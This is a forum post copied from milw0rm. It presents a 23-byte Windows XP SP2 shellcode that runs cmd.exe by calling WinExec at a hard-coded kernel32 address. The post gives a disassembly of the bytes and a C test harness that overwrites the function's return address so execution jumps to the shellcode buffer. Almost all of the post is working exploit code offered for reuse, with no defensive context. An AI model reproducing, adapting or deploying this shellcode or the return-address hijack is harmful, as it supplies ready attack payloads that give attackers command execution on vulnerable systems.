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Win32/xp Sp2 (En) Cmd.exe 23 Bytes

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#1 qcred11

qcred11

    First Sergeant

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Posted 23 July 2009 - 07:15 AM

win32/xp sp2 (En) cmd.exe 23 bytes

/*
win32/xp sp2 (En) cmd.exe 23 bytes
Author : Mountassif Moad
A.K.A : Stack
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En

get the following if we disassemle this code compiled with olly debugger
 
00402000  > 8BEC             MOV EBP,ESP
00402002  . 68 65786520      PUSH 20657865
00402007  . 68 636D642E      PUSH 2E646D63
0040200C  . 8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
0040200F  . 50               PUSH EAX
00402010  . B8 8D15867C      MOV EAX,kernel32.WinExec
00402015  . FFD0             CALL EAX
*/
#include <stdio.h>
unsigned char shellcode[] =
                        "\x8b\xec\x68\x65\x78\x65"
                        "\x20\x68\x63\x6d\x64\x2e"
                        "\x8d\x45\xf8\x50\xb8\x8D"
                        "\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}


Source: http://www.milw0rm.com/shellcode/9188





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